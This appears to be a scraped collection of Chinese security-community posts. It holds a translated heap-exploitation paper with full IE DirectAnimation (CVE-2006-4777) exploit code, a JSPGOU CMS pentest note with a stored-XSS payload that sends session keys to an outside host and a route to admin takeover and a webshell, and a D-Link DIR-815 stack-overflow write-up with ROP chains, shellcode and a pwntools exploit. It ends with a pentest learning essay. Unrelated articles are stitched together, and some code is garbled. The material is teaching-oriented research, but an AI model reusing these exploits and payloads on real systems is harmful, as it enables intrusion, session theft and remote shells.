现在让我们释放一个1008字节的块。在0x151e58地址处的lookaside头将指向这个释放的块，块的前四个字节将被一个NULL覆盖，表示链表的结束。此时内存中的结构看起来就像我们要利用的被覆盖的对象指针一样。
如果我们用0x151e58覆盖一个对象，并释放一个包含假虚表的1008字节块，则通过虚表调用的任何虚函数都会跳转到我们选择的位置。假的虚表可以使用HeapLib库中的vtable（）函数来构建。它将一个shellcode字符串和一个跳转到ecx指令的地址作为参数，下面是分配1008字节块的数据：
调用这应该释放虚表到lookaside然后重写lookaside的头指针。这个假虚表的功能设计成用于调用对象指针位于eax和位于虚表地址位于ecx中的虚函数：
mov ecx, dword ptr [eax] ;得到虚表的地址
push eax ;C++用this指针作为第一个参数
call dword ptr [ecx+08h] ;调用在虚表内偏移为0x8的虚函数
从ecx + 8到ecx + 0x80的任何虚拟函数调用都将导致jmp ecx
指令的执行。由于ecx里存储的是指向vtable的指针，跳转将跳回到block的开始位置。最开始使用的时候它的前四个字节是包含字符串的长度，但是在它被释放到lookaside之后，它们被NULL所替代。四个零字节是作为两个add
[eax]，al指令执行的。执行到达jmp + 124指令，它跳过函数指针并且落在vtable中偏移132的两个sub
[eax]，al指令上。这两条指令修复了先前由sub指令损坏的内存，最后执行shellcode。
# Exploiting heap vulnerabilities with HeapLib
## DirectAnimation.PathControl KeyFrame vulnerability
作为我们的第一个例子，我们将使用DirectAnimation.PathControl
ActiveX控件（CVE-2006-4777）中的整数溢出漏洞。该漏洞是由创建一个ActiveX对象并调用其第一个参数大于0x7fffff的KeyFrame（）方法触发的。
KeyFrame方法在Microsoft DirectAnimation SDK中记录如下：
KeyFrame Method
指定沿路径的x和y坐标，以及到达每个点的时间。第一个点定义路径的起始点。只有当路径停止时，才能使用或修改此方法
语法：
KeyFrameArray = Array(x1,y1, ..., xN,yN)
TimeFrameArray = Array(time2, ..., timeN)
pathObj.KeyFrame(npoints, KeyFrameArray, TimeFrameArray)
参数：
npoints
用于定义路径的点数
x1,y1, ..., xN,yN
沿着路径标识点的x和y坐标集
time2, ..., timeN
该路径从前一点到达每个相应点所需的时间
KeyFrameArray
包含x和y坐标定义的数组
TimeFramArray
包含定义路径的点之间的时间值的数组，从x1和y1点开始，通过xN和yN点（路径中的最后一组点）。路径从点x1和y1开始，时间值为0。
以下JavaScript代码将触发此漏洞：
var target = new ActiveXObject("*DirectAnimation.PathControl");
target.KeyFrame(0x7ffffff,new Array(1）， new Array(1));
## Vulnerable code
该漏洞位于DAXCTLE.OCX的CPathCtl :: KeyFrame函数中。 该函数的反编译代码如下所示：
long_stdcall CPathCtl::KeyFrame(unsigned int npoints,struct tagVARIANT KeyFrameArray,
struct tagVARIANT TimeFrameArray)
{
int err = 0;
...
//new运算符是CMemManager :: AllocBuffer的一个包装。如果分配大小小于0x2000，它将从一个特殊的CMemManager堆中分配一个块，否则它等同于：
//HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,size+8) + 8
buf_1 = new((npoints*2)*8);
buf_2 = new((npoints*2)*8);
KeyFrameArray.filed_C = new(npoints*4);
TimeFrameArray.filed_C = new(npoints*4);
if(buf_1 == NULL || buf_2 == NULL || KeyFrameArray.field_C == NULL ||
TimeFrameArray.filed_C == NULL)
{
err = E_OUTOFMEMORY;
goto cleanup;
}
//如果KeyFramArray数组小于npoints * 2或者TimeFrame数组小于npoints-1，我们设置一个错误并转到cleanup代码
if(KeyFrameArrayAccessor.ToDoubleArray(npoints*2, buf_1) < 0 ||
TimeFrameArrayAccessor.ToDoubleArray(npoints-1, buf_2) < 0)
{
err = E_FALL;
goto cleanup;
}
...
cleanup:
if(npoints > 0)
for(i = 0; i < npoints; i++)
{
//我们从0迭代到npoints，并在KeyFrameArray-> field_C和TimeFrameArray-> field_C的所有非NULL元素上调用虚函数
if(KeyFrameArray.field_C[i] != NULL)
KeyFrameArray.field_C[i] -> func_8();
if(TimeFrameArray.filed_C[i] != NULL)
TimeFrameArray.field_C -> func_8();
}
...
return err;
}
KeyFrame函数将npoints参数乘以16,8和4，并分配四个缓冲区。如果npoints大于0x40000000，则分配大小将wrap
up，函数将分配四个小缓冲区。在我们的EXP中，我们将npoint设置为0x40000801，函数将分配大小为0x8018,0x4008的缓冲区和两个大小为0x200c的缓冲区。我们希望最小的缓冲区大于0x2000字节，因为小于0x2000的缓冲区分配将来自CMemManager堆而不是系统分配器。
在分配缓冲区之后，函数调用CSafeArrayOfDoublesAccessor ::
ToDoubleArray（）来初始化数组访问器对象。如果KeyFrameArray的大小小于npoints，ToDoubleArray将返回E_INAVLIDARG。在这种情况下执行的cleanup将遍历两个0x2004字节缓冲区，并在缓冲区中的每个非NULL元素上调用虚函数。
这些缓冲区被分配了HEAP_ZERO_MEMORY标志，并且只包含指针。然而，代码将从0到npoint（即0x40000801）进行迭代，并且最终将访问超过0x200c字节缓冲区末尾的数据。
如果我们控制KeyFrameArray.field_C缓冲区后面的第一个dword，我们就可以使它指向一个指向虚表中的一个指向shellcode的指针。调用func_8（）的虚函数将会执行我们的shellcode。
## Exploit
要利用这个漏洞，我们需要控制0x200c字节缓冲区之后的四个bytes。首先，我们将用大小为0x2010的块对堆进行碎片整理（内存分配器分配的内存对齐为8，所以0x200c取整为0x2010
）。然后我们将再分配两个0x2020字节的内存块，在偏移0x200c处写入假对象指针，并将它们释放到空闲列表中。
当KeyFrame函数分配两个0x200c字节的缓冲区时，内存分配器将重用我们大小为0x2020字节的块，清零第一个0x200c字节。KeyFrame函数末尾的cleanup循环将到0x200c偏移处的假对象指针，并将通过其虚表调用一个函数。列表中唯一的条目是我们的虚表。
调用虚函数的代码是：
虚拟调用是通过ecx + 8，它将转移到执行IEXPLORE.EXE中的jump
ecx指令。指令跳回到vtable的开始处并且执行shellcode。有关vtable的更多详细信息，请参阅上一个部分。
完整的漏洞利用代码如下所示:
//创建ActiveX 对象
var target = new ActiveXObject("DirectAnimation.PathControl");
//初始化HeapLib
var heap = new heapLib.ie();
//shellocde int 3
var shellcode = unescape("%uCCCC");
//IEXPLORE.EXE中jump ecx的地址
var jmpecx = 0x4058b5;
//用指向shellcode的指针构建一个伪造的虚表
var vtable = heap.vtable(shellcode, jmpecx);
//获得指向vtable的lookaside地址
var fakeObjectPtr = heap.lookasideAddr(vtable);
//使用伪造的对象地址构建堆块
//len padding fake obj pointer padding null
//4 bytes 0x200C - 4 bytes 4bytes 14 bytes 2bytes
var fakeObjectChunk = heap.padding((0x200c - 4)/2) + heap.addr(fakeObjectPtr) + heap.padding(14/2);
heap.gc();
heap.debugHeap(true);
//清空lookaside
heap.debug("Emptying the lookaside")
for(var i = 0; i<100; i++)
heap.alloc(vtable);
//把虚表放入lookaside
heap.debug("Putting the vtable on the lookaside")
heap.lookaside(vtable);
//对堆进行碎片整理
heap.debug(“Defragmenting the heap with blocks of size 0x2010”)
For(var i = 0; i< 100; i++)
Heap.alloc(0x2010)
添加具有假对象指针的块到空闲列表
heap.debug("Creating two holes of size 0x2020");
heap.freeList(fakeObjChunk,2);
//触发漏洞
target.KeyFrame(0x40000801, new Array(1), new Array(1));
//cleanup
heap.debugHeap(false);
# Remediation
本文的这一部分将简要介绍一些保护浏览器免受上述利用技术的思路。
## Heap isolation
一个最明显但是不完全有效的保护浏览器的办法就是使用一个专门的堆来存储JavaScript字符串。这个办法只需在OLEAUT32内存分配器中进行一个非常简单的更改，这样会使字符串分配技术完全无效。这样的做法虽然攻击者仍然可以操纵字符串堆的布局，但是不会直接控制MSHTML和ActiveX对象所使用的堆。
如果在未来的Windows版本会实现这个保护机制。我们期望研究出通过调用特定的ActiveX方法或者DHTML操作来实现对MSHTML和ActiveX堆的控制的办法。
就安全架构而言，应该将堆布局视为第一类可利用对象，类似于堆栈或堆数据。作为一般的设计原则，不可信任的代码不应给予直接访问由应用程序所使用的堆的权限。
## Non-determinism
使内存分配器的分配具有不确定性，是防止堆漏洞利用的一种好方法。如果攻击者无法预测特定堆的分配将在何处发生，那么改变堆状态将变得更加困难。
虽然这个思路不是一个新的想法，但据我们所知，它还没有在任何主流的操作系统上实现。
# Conclusion
本文提出的堆操作技术依赖于Internet
Explorer中可以通过执行不可信的JavaSript代码，在系统堆上执行任意分配和释放。这种方法对堆的控制程度已经被证明可以明显提高堆漏洞的利用效果，即使是堆最困难的堆漏洞的利用也是如此.
对此进一步研究的两个思路是对Windows
Vista的开发，并将相同的技术应用于Firefox，Opera和Safri。我们相信从脚本语言操纵堆的思路也适用于许多其他允许不可信脚本执行的系统.
原文链接：
<https://www.blackhat.com/presentations/bh-usa-07/Sotirov/Whitepaper/bh-usa-07-sotirov-WP.pdf> | 社区文章 |
# JSPGOU单店版 v6.0 渗透笔记（组合GetShell）
jspgou是基于java技术研发的电子商务管理软件，以其强大、稳定、安全、高效、跨平台等多方面的优点，网站
模板统一在后台管理，系统拥有强大、灵活的标签，用户自定义显示内容和显示方式。jspgou为大、中、小企业
提供一个安全、高效、强大的电子商务解决方案，协助企业快速构建电子商务平台，拓展企业销售渠道。
代码来源：<http://www.jeecms.com/download.htm>
以下漏洞理论通杀该CMS所有版本
### 0x01 用户遍历
GET /username_unique.jspx?username=admin HTTP/1.1
Host: demo3.jeecms.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: application/json, text/javascript, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://demo3.jeecms.com/register.jspx
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Cookie: JSESSIONID=A5EADADBD9C57169205A2E89B2CF98CA; clientlanguage=zh_CN; __qc_wId=66; pgv_pvid=9910498378
修改username参数后发包 返回false为存在 true为不存在。
### 0x02 前台储存型XSS(管理和用户均可打)：
jsExp：
var website = "http://xss.com/XSS/";
(function() {
(new Image()).src = website + '/?keepsession=1&location=' + escape((function() {
try {
return document.location.href
} catch (e) {
return ''
}
})()) + '&User=' + escape((function() {
try {
return localStorage.getItem("userName")
} catch (e) {
return ''
}
})()) + '&sessionKey=' + escape((function() {
try {
return localStorage.getItem("sessionKey")
} catch (e) {
return ''
}
})());
})();
注意看会发现写的exp里面连Cookie都没要 没错 这套系统的Cookie就是个摆设 sessionKey在整个运行过程起到了至关重要的地位
所以打Cookie时只取sessionKey就行
利用：
密码正确时的返回包
密码错误时的返回包
密码正确后请求的第一个包：
xss打到的sessionKey正是这里所用到的 但是程序对数据包进行了校验 无法直接修改 利用burpsuite的响应包替换功能
将打到的sessionKey替换到
{"body":{"sessionKey":"c9a23148eb0ef01d540d8e27d39bd07f695b51f0c6c0f00dba017fc2c6eeacd39e19033297f0a6702a49edd3d919d32f","permission":"*"}, "message":"success", "code":200}
中来 然后替换掉 下面的数据包
{"body":"", "message":"username or password error", "code":306}
再然后 放开bp 账号密码随便输入 登录即为管理员：
### 0x03 GetShell：
通过后台=>界面=>资源管理=>上传文件可轻松Getshell 无限制
### 0x04 总结：
出现该问题应该是作者笃定了xss打不到后台去 事实也的确如此 代码在后台被过滤了 无法运行的 但是作者忘记了自己本身的机制就是依赖于sessionKey
每个用户登录后都会生成 并且存在用户端PC Admin账号也是如此 不管是admin先登录前台还是先登录后台
只要访问到了目标页面就一定中招。修复的话可以把Cookie真正校验起来 不要过度依赖sessionKey以及加密算法校验算法 （算法不可逆
但是hk可以拿你的加密结果去和数据库中加密值对比啊） | 社区文章 |
# 路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这次笔者来复现一个比较经典的栈溢出漏洞：D-link dir-815 栈溢出。其实这个路由器的栈溢出漏洞的利用方式和之前 DVRF
靶机平台的栈溢出例子大同小异，只是需要注意下一些小的地方。
## 前言
这个栈溢出的原因是由于 cookie 的值过长导致的栈溢出。服务端取得客户端请求的 HTTP 头中 Cookie 字段中 uid
的值，格式化到栈上导致溢出。
## 漏洞分析
### **大体流程**
首先还是先将 cgibin 加载到 IDA 中，定位到 sobj_get_string 函数。
在 sobj_get_string 函数中，取得 “uid=” 后的值
sprintf($sp,
0x4E8+var_428,”%s/%s/postxml”,”/runtime/session”,getenv(“HTTP_COOKIE”))
在执行完 sprintf 函数后，在栈上已经产生了溢出
将0x76FEE8CC 地址处的值赋值给 ra 寄存器
在 jr $ra 时就触发了栈溢出
* 但是在真实的路由器环境中存在 /var/tmp/temp.xml 的文件， **所以真正的可利用的栈溢出是位于 0x0040997C 处的 sprintf 函数**
最后在执行完函数之后，还是会触发这个栈溢出
## 漏洞利用
这里还是使用 patternLocOffset.py 来生成一个填充文件
python patternLocOffset.py -c -l 1600 -f dir_815_overflow
但是注意在 string 的前面需要加上 “uid=”，因为这里会执行 sobj_get_string(“uid=”) 函数，来取到参数 uid
的值，如果没有 uid 参数的话程序会直接结束
同样执行 run.sh 脚本来动态调试
sudo ./run.sh “uid=1234” `cat dir_815_overflow` -d
在 0x00409A28 处下断点。
这里 ra 的值是 0x68423668，在 patternLocOffset.py 中确定偏移
这里偏移是 1009
nick@nick-machine:~/iot/tools$ python patternLocOffset.py -s 0x68423668 -l 1600
[*] Create pattern string contains 1600 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 1009 (adjusted another-endian)
[+] take time: 0.0301 s
所以我们构造
nick@nick-machine:~/iot/firmware/dir-815/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ python -c "print 'uid='+'a'*1009+'x78x56x34x12'" > payload
nick@nick-machine:~/iot/firmware/dir-815/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ sudo ./run.sh "uid=1234" `cat payload` -d
这里就成功控制了返回地址
## ROP 链的构造
关于 ROP 链的构造可以参考笔者的前几篇文章：
传送门：
<https://www.anquanke.com/post/id/172126>
<https://www.anquanke.com/post/id/173362>
* 图片显示不出来的话可以挂个梯子。
同样的我们把 ROP 的构造分为两块：调用 sleep(1) 函数和调用 shellcode
### **获取基本信息**
这里在本地使用 gdb-mul 工具，命令target remote :23946 连接上 gdbserver 之后，在 0x00409A28 出下断，使用
vmmap 查看区段的映射情况，找到 libc 的基地址 0x76738000
之后找到 libc 文件，把他加载到 IDA 中。
### **调用 sleep(1) 函数**
这里为了更好展示和理解，画了一幅流程图，看确定在使用 mipsrop 工具下，各个 ROP 的调用顺序
### **找到 sleep 函数的参数**
先使用 “li $a0,1” 来寻找 rop，在 0x00057E50 处发现一条合适的指令。这里的 s1 寄存器设置成下一条 gadget 的地址。
此时的 payload：
base_addr = 0x76738000
rop1 = 0x0003E524
padding = 'uid=' + 'a' * 973
padding += 'a' * 4 # s0
padding += p32(base_addr + rop1) # s1
padding += 'a' * 4 # s2
padding += 'a' * 4 # s3
padding += 'a' * 4 # s4
padding += 'a' * 4 # s5
padding += 'a' * 4 # s6
padding += 'a' * 4 # s7
padding += 'a' * 4 # fp
rop2 = 0x00057E50
payload = padding + p32(base_addr + rop2)
接着使用 mipsrop.tail()，准备填充 ra 寄存器
在指令 0x0003E528 处，可以看到 sp 和 ra 寄存器的距离为 0x24，所以这里的填充为 0x24，后面的四个字节就是 ra 寄存器的值（给
ra 寄存器赋值）
.text:0003E528 lw $ra, 0x28+var_4($sp)
这里需要跳转到 sleep 函数去执行， **所以 s2 寄存器就填充为 sleep 函数的地址，ra 寄存器填充为下一个 gadget 的地址**
，这样就可以达到在执行完 sleep 函数刷新缓存的同时，执行 jr $ra 跳转到想到的地址。
这时的 payload：
base_addr = 0x76738000
sleep_addr = 0x00056BD0
rop1 = 0x0003E524
padding = 'uid=' + 'a' * 973
padding += 'a' * 4 # s0
padding += p32(base_addr + rop1) # s1
padding += p32(base_addr + sleep_addr) # s2
padding += 'a' * 4 # s3
padding += 'a' * 4 # s4
padding += 'a' * 4 # s5
padding += 'a' * 4 # s6
padding += 'a' * 4 # s7
padding += 'a' * 4 # fp
rop2 = 0x00057E50
payload = padding + p32(base_addr + rop2)
* 注意各个寄存器的位置
### **构造 shellcode**
接着是使用 mipsrop.stackfinder() 查找 gadget，做好往栈上填充 shellcode 的准备
这里找到一条指令 ，我们可以往 $sp+0x18 的位置填充 shellcode，此时 a1 寄存器就存放着 shellcode 的地址
.text:0000B814 addiu $a1, $sp, 0x168+var_150
最后使用 mipsrop.find(“move $t9,$a1”) 找到可以跳到到 a1 寄存器的指令。
找到 0x00037E6C 这里的 gadget，正好满足我们的需求。
调用 shellcode 时的 payload：
rop3 = 0x0000B814 # mipsrop.stackfinder()
rop4 = 0x00037E6C # mipsrop.find("move $t9,$a1")
payload += 'b' * 0x1c # 上一步调用完 sleep 函数的填充（mipsrop.tail()）
payload += p32(base_addr + rop4) # s1
payload += 'b' * 4 # s2
payload += p32(base_addr + rop3) # ra
shellcode = "xffxffx06x28" # slti $a2, $zero, -1
shellcode += "x62x69x0fx3c" # lui $t7, 0x6962
shellcode += "x2fx2fxefx35" # ori $t7, $t7, 0x2f2f
shellcode += "xf4xffxafxaf" # sw $t7, -0xc($sp)
shellcode += "x73x68x0ex3c" # lui $t6, 0x6873
shellcode += "x6ex2fxcex35" # ori $t6, $t6, 0x2f6e
shellcode += "xf8xffxaexaf" # sw $t6, -8($sp)
shellcode += "xfcxffxa0xaf" # sw $zero, -4($sp)
shellcode += "xf4xffxa4x27" # addiu $a0, $sp, -0xc
shellcode += "xffxffx05x28" # slti $a1, $zero, -1
shellcode += "xabx0fx02x24" # addiu;$v0, $zero, 0xfab
shellcode += "x0cx01x01x01" # syscall 0x40404
payload += 'f' * 0x18 # mipsrop.stackfinder() 查找到的指令的填充值
payload += shellcode # 放置 shellcode
在 gdb 中开启调试，发现最后成功跳转到 shellcode 的位置
执行 shellcode
但是这里不知道为什么无法会报错 Illegal instruction
这里还可以使用调用 system 函数的方法来 getshell。
## 调用 syetem 函数的方法 getshell
我们的目的是执行 system(“/bin/shx00”)，这里的参数可以使用 mipsrop.stackfinder() 的 gadget 来把
“/bin/shx00” 传到栈上。 **之后将这个栈的位置传入 a0 寄存器，这样就达到了利用的目的** 。
我们首先在 libc.so 中找到 system 函数的位置，在 0x00053200 处，显然地址的最低位是坏字节，没办法直接传入
这里参考了《揭秘家用路由器0day漏洞挖掘技术》一书的方法：先将 system 函数的地址 -1 传入某个寄存器中，之后找到对这个寄存器进行加 +1
的操作的 gadget 进行调用即可将地址恢复到 0x53200。
### **具体操作**
这里还是用流程图来表示 gadget 的生成过程：
首先利用溢出把 0x53200 -1 传入 s0 寄存器，
之后寻找 s0+1 的指令
Python>mipsrop.find("addiu $s0,1")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x000158C8 | addiu $s0,1 | jalr $s5 |
| 0x000158D0 | addiu $s0,1 | jalr $s5 |
| 0x0002374C | addiu $s0,1 | jalr $fp |
| 0x0002D194 | addiu $s0,1 | jalr $s5 |
......
---------------------------------------
这里使用第一个 gadget ，指令的意思是直接跳到 s5 寄存器指向的地址，所以上一步溢出时需要事先把 s5 填充为下一个 gadget 的地址
接着使用 mipsrop.stackfinder() 查找 gadget：
Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0000B814 | addiu $a1,$sp,0x168+var_150 | jalr $s1 |
| 0x0000B830 | addiu $a1,$sp,0x168+var_B0 | jalr $s1 |
| 0x0000DEF0 | addiu $s2,$sp,0xC8+var_B8 | jalr $s4 |
| 0x00013F74 | addiu $s1,$sp,0x50+var_38 | jalr $s4 |
| 0x00014F28 | addiu $s1,$sp,0x50+var_38 | jalr $s4 |
| 0x000159CC | addiu $s5,$sp,0x170+var_160 | jalr $s0 |
......
选择 0x159cc 这个 gadget ，双击进入查看指令
之所以选择这个 gadget 的原因是因为这里我们可以通过溢出，直接在栈上操纵 a0 寄存器
* 或者这里也可以使用 mipsrop.system() 来查找 rop 链，这类的 gadget 指令的作用主要是将栈上可控的数据直接传递给 a0 寄存器，如下：
Python>mipsrop.system()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x00042F60 | addiu $a0,$sp,0x38+var_20 | jalr $a0 |
| 0x000567A0 | addiu $a0,$sp,0xA0+var_88 | jalr $s4 |
| 0x00027440 | addiu $a0,$sp,0x30+var_18 | jr 0x30+var_4($sp) |
| 0x000330F8 | addiu $a0,$sp,0x78+var_60 | jr 0x78+var_4($sp) |
| 0x00036360 | addiu $a0,$sp,0x48+var_30 | jr 0x48+var_4($sp) |
| 0x0003F8FC | addiu $a0,$sp,0x50+var_38 | jr 0x50+var_4($sp) |
| 0x00042F6C | addiu $a0,$sp,0x38+var_20 | jr 0x38+var_4($sp) |
----------------------------------------------------------------
之后通过 jalr $s0，这里的 s0 的值为原来 0x531ff+1 后复原的 system 地址的值，也就跳转到了
system(“/bin//sh”) 函数。
### **exp**
#!/usr/bin/python
from pwn import *
context.endian="little"
context.arch="mips"
base_addr = 0x76738000
system_addr_1 = 0x53200-1
rop1 = 0x000158C8
rop2 = 0x159CC
padding = 'uid=' + 'a' * 973
padding += p32(base_addr + system_addr_1) # s0
padding += 'a' * 4 # s1
padding += 'a' * 4 # s2
padding += 'a' * 4 # s3
padding += 'a' * 4 # s4
padding += p32(base_addr+rop2) # s5
padding += 'a' * 4 # s6
padding += 'a' * 4 # s7
padding += 'a' * 4 # fp
padding += p32(base_addr + rop1) # ra
#------------------------- stack 2 ----------------------------
padding += 'b' * 0x10
padding += '/bin//sh'
with open("call_system_padding",'wb') as f:
f.write(padding)
f.close()
### **动态调试**
依然是使用 gdb 在 0x00409A28 处下断点，第一步先跳转到对 s0 加一的 gadget 处
之后跳转到 s5 寄存器的地址处，把 $sp + 0x10 处的地址传入 s5 寄存器，可以看到这里已经填充完成
此时就跳转到了 system 函数，这样就获得了一个 shell。
## 总结
路由器的栈溢出的漏洞点都比较单一，大多数都是由 sprintf 和 strcpy 等函数使用不当造成的。构造 ROP 的方法比较固定，只要对于
mipsrop 这个工具有个熟练的掌握和运用，在寻找 gadget 时脑回路清晰一些，利用的过程也不算太难。 | 社区文章 |
最近发现很多小伙伴都在问我想要学习渗透测试，但是不知道怎么开始，也不知道要学习什么？所以在这里我打算分享一下我的渗透学习之路以及给初学者的一些建议。
我的学习之路
* * *
转眼间，我从学习渗透测试到工作也快六年了，记得刚开始接触安全是在 2012
年初，刚进入实验班的时候，在之前曾经在图书馆借了一本《黑客笔记》来看，回到寝室看了两页，完全一脸懵逼，一点看不懂，然后就原封不懂的还回去了。我考入大学时的专业是网络工程，跟安全并不沾边，身边也没有做安全的同学，由于学校全校选拔实验班，所以才有了接触安全的机会，进入实验班后就开始了我的安全之路。
回想当时学习安全时的场景，由于之前学过数据库、数据结构、c
语言等专业课，但是对于安全来说帮助并不是很大，所以也算是从零开始学安全。希望我的这些经历能对大家的安全学习之路有所启发。
当时我看的第一本安全资料是 txt
版的《黑客笔记》，还是我们班学习委员分享给我的，在当时一点基础都没有的时候，看起来是非常费劲的跟我大一的时候看是一个效果，但是，既然已经进入了实验班，以后要走这条路就不能像大一的时候那样放弃，所以就硬着头皮一点一点的看，即使当时看不明白，没关系，能够在自己的脑海中留下一点印象就足够了。再后来，我们的网络攻防课给我们发了一本黑客书籍《黑客攻防技术宝典-web 实战篇》，同样硬着头皮把它看完一遍，在看书方面基本也就完整看了这两本书。
如果只是看书的话是非常无聊的，大家都深有感触，尤其是在看不懂的情况下。如何解决这个枯燥的问题呢？我当时的解决办法是：
1.保持足够的兴趣才能坚持下去
2.寻找志同道合的朋友或者组织一起学习一起交流
3.参加CTF比赛，在比赛时会遇到很多有趣的知识点，针对自己的不会的知识点进行逐一理解
4.在学习技术的同时，整理自己学到的东西，然后分享在自己混迹的组织之间
5.在网上寻找有漏洞的网站，进行实战，在获取到权限之后也会提升自己的成就感（目前大家可以拿国外的站点练手，不要选择敏感目标，切记）
我第一个参与的组织是AG 安全团队，当时还在玩 YY ，一起玩耍一起学习，后来就在老K的引导下加入了 90sec
，然后每天看看论坛的文章，基本上把论坛之前发过的所有文章都看了一遍，然后把自己在学习中总结的所有知识发到论坛，这样在大家的鼓励下，学习的激情会逐步提升，在体现自己能力同时学习技术，这就是在学生时代的成就感。
在毕业之前学习的安全知识基本上是以 web 为主，毕竟在安全领域，web
安全占据了主导地位，涉及面非常广，有关内网安全、外围服务安全等知识都是在工作后才接触的，这里就不多说了。
如何做一个脚本小子
* * *
针对没有一点基础想要入行的同学，一个初级渗透测试工程师所要做到的目标是，在拿到一个目标之后，可以利用自己掌握的所有安全工具，对网站进行全面的检测与利用，刚开始就去学原理会有点乏力，所以切入点可以先从一个脚本小子做起。
对于 web 安全工具，我当年玩的啊D、明小子、穿山甲、萝卜等注入工具，现在都很少有见了，都基本可以用 sqlmap 来代替，所以玩注入一定要把
sqlmap 用熟练，在学会编写 sqlmap 支持的 tamper ，那么你就可以解决大部分的注入问题的利用。
当年玩上传截断是用的 WSockExpert 抓包然后用 winhex 添加截断符最后用 nc 提交，多麻烦，在现在的神器 burp 面前简直弱爆了，所以
burp 也是初学者一定要掌握的工具。burp 不只是用在这里，还可以爆破一切 web 应用，如：后台、wenshell
密码、目录枚举等，还自带编码解码功能，还支持很多的自定义插件，所以学习 burp 也是非常重要的。
当年玩扫描，一般用 s扫描器、superscan、x-scan 等，如今的 nmap
可以做所有的扫描操作，也能自定义扫描脚本，功能强大是公认的，所以学习这个工具的使用也是非常必要的。
作为一个脚本小子，不需要知道很多的漏洞原理以及如何防护，只需要做到熟悉网络上存在的所有安全工具的使用方法，以及这个工具有什么用，针对什么样的漏洞使用，在什么样的情况下使用。在做到这一点的时候，你已经拥有了初级渗透测试工程师的能力，你可以自己完成一定的渗透测试工作了。
如何提升自己段位
* * *
在你成为一个脚本小子之后，虽然可以做一定的渗透测试工作，在别人对漏洞做了一定的防护的时候，工具的智能化并不能及时满足需求，所以这个时候，脚本小子就无能为力了，所以就要提升我们自身的能力才能完成我们的渗透测试的功能。
由于业务的驱动，我们不得不提升我们的段位，否则将会被淘汰。要想成为一个中级渗透测试工程师需要做的，就是把我们之前所有会用工具以及知道的漏洞这些原理弄明白，这样即使网站做了一定的防护，在我们的测试下，了解其防护措施然后有针对性的绕过，在这个过程中，你的实力就会不由自主的提升，不过到达这一步的时候你也就不用我建议，你也可以自主完成学习并且进步。
平时养成以下的习惯：
1.能够把自己的学习成果记录下来，在下次遇到的时候可以快速拿出来并且使用
2.多关注一些好的技术博客，像 sec-wiki、长亭的wiki、安全客、freebuf等
3.可以关注一下国外的安全 wiki，如：reddit
渗透测试流程
* * *
每一个渗透测试者都有自己的渗透测试流程，这都是自己在实战中总结的方式方法，在这里我说一下基本的流程。
在实战中，越是小的公司企业越难以渗透成功，为什么呢？因为，公司的业务少，只有那么几个暴露在外网的服务，服务越少越容易管理，越不容易出现漏洞，所以攻击面越大我们的成功率就越大，但是如何扩大攻击面呢？
1.收集尽量全的企业域名（包括各种子域名以及子公司的域名，越全越好）
2.收集尽量全的企业申请的公网 IP
3.对所有收集到的域名以及 IP 地址进行端口扫描（由于时间可能比较久，所以可以选择利用 zoomeye、shodan、censys 等平台）
4.针对不同的服务进行对应的渗透测试（尤其是可能存在漏洞的中间件）
经过这几个步骤，你会收集到很多的资料，你的成功率跟你收集的资料的质量息息相关。这几个步骤看起来并不复杂，但是其中涉及的安全知识方方面面非常多，如何收集的够全，如何测试的更准确都是我们需要关注的。
针对web的渗透测试
* * *
拿到一个 web 网站，我们首先需要知道，这个网站用的什么服务器、用的什么脚本，可以使用一些抓包软件如：burp 等，根据服务器的 banner 来猜测。
如果不怕服务器拒绝服务，也可以直接拿大型扫描器进行扫描，如 awvs、netspeaker、w3af 等。
也可以用一些开源的爬虫软件爬取所有的动态页面，了解网站的所有功能，只要是我们用户可以控制的内容，都是我们需要测试的地方，一切用户可以访问到的功能都是不安全的，不局限于
web 功能、也包括隐藏的 http header 中的一些字段，如：cookie、x-forward-by、referer等。
有些爬虫爬不到的页面可以通过查看，robots.txt
发现一些隐藏的目录，或者使用搜索引擎寻找以前收录过的测试页面或者使用目录扫描器枚举存在的目录，工具如：wwwscan、burp 等，重要的是字典。
还可以使用一些寻找信息泄露的工具，如猪猪侠的那个敏感信息泄露的工具，寻找一些备份文件，从中寻找可以利用的点。
针对那些开源的项目，大家可以在网络上寻找对应版本的已知漏洞进行测试，如果没有的话，自己有实力可以去挖。
总之，方式方法多种多样，需要时间的积累，只要能够坚持下去，相信在不久的将来你一定会成长为你想成为的人，大家共勉。
欢迎大家关注我的公众号【信安之路】共同学习共同进步。 | 社区文章 |
文章太多难免有些疏忽，导致文章沉底，请大伙多多包涵。如有丢失，欢迎大伙自荐，请私信我地址
### @从容 ——WafBypass之道
* [【独家连载】我的WafBypass之道（SQL注入篇）](https://xianzhi.aliyun.com/forum/read/349.html)
* [【独家连载】我的WafBypass之道（upload篇）](https://xianzhi.aliyun.com/forum/read/458.html)
* [【独家连载】我的WafBypass之道（Misc篇）](https://xianzhi.aliyun.com/forum/read/714.html)
### @Sofia
* [【独家】php一句话后门过狗姿势万千之后门构造与隐藏【一】](https://xianzhi.aliyun.com/forum/read/441.html)
* [【独家】php一句话后门过狗姿势万千之传输层加工【二】](https://xianzhi.aliyun.com/forum/read/442.html)
### @math1as
* [初探 relative path overwrite](https://xianzhi.aliyun.com/forum/read/1527.html)
* [【独家】XSS Bypass Cookbook](https://xianzhi.aliyun.com/forum/read/536.html)
* [【独家】初探CSPBypass一些细节总结](https://xianzhi.aliyun.com/forum/read/523.html)
### @lcamry——SQLi Labs注入天书
